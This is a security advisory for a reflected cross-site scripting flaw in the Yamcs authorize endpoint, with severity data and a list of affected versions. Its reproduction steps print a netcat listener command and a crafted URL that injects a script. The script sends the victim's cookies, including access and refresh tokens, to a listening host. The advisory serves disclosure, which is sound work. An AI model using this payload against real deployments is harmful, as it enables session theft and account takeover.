GHSA-rxpg-wjf8-qv9c

Suggest an improvement
Source
https://github.com/advisories/GHSA-rxpg-wjf8-qv9c
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-rxpg-wjf8-qv9c/GHSA-rxpg-wjf8-qv9c.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-rxpg-wjf8-qv9c
Aliases
Published
2026-08-28T17:17:50Z
Modified
2026-08-28T17:40:35Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Details

Attack type: 

Unauthenticated remote 

Impact:

Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

image

You then use JavaScript to obtain the user's cookies and display them in the alert:

image

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

image

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce

  1. Start Yamcs
  2. Login as a user
  3. In a terminal, start a netcat listener:
nc -nlvp 8888
  1. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
  1. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements

This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Database specific 
{
    "cwe_ids": [
        "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:17:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

Maven / org.yamcs:yamcs-core

Package

Name
org.yamcs:yamcs-core
View open source insights on deps.dev
Purl
pkg:maven/org.yamcs/yamcs-core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
5.9.4

Affected versions

0.*
0.29.3
0.30.0
3.*
3.0.0
3.1.0
3.1.1
3.1.2
3.2.0
3.2.1
3.2.2
3.3.0
3.3.1
3.4.0
3.4.1
3.4.2
3.4.3
3.4.4
3.4.5
3.4.6
3.4.8
3.4.11
4.*
4.0.0
4.0.1
4.1.1
4.1.2
4.2.0
4.2.1
4.2.2
4.3.0
4.3.1
4.4.0
4.4.1
4.4.2
4.5.0
4.6.0
4.6.1
4.6.2
4.6.3
4.7
4.7.1
4.7.3
4.8.0
4.8.1
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.10.0
4.10.1
4.10.2
4.10.3
4.10.4
4.10.5
4.10.6
4.10.7
4.10.8
4.10.9
5.*
5.0.0
5.1.0
5.1.1
5.1.2
5.1.3
5.1.4
5.2.0
5.2.1
5.2.2
5.2.3
5.2.4
5.2.5
5.2.6
5.3.0
5.3.1
5.3.2
5.3.3
5.3.4
5.3.5
5.3.6
5.4.0
5.4.1
5.4.2
5.4.3
5.4.4
5.4.5
5.5.0
5.5.1
5.5.2
5.5.3
5.5.4
5.5.5
5.5.6
5.5.7
5.6.0
5.6.1
5.6.2
5.7.0
5.7.1
5.7.2
5.7.3
5.7.4
5.7.5
5.7.6
5.7.7
5.7.8
5.7.9
5.7.10
5.7.11
5.7.12
5.7.13
5.8.0
5.8.1
5.8.2
5.8.3
5.8.4
5.8.5
5.8.6
5.8.7
5.8.8
5.9.0
5.9.1
5.9.2
5.9.3

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-rxpg-wjf8-qv9c/GHSA-rxpg-wjf8-qv9c.json"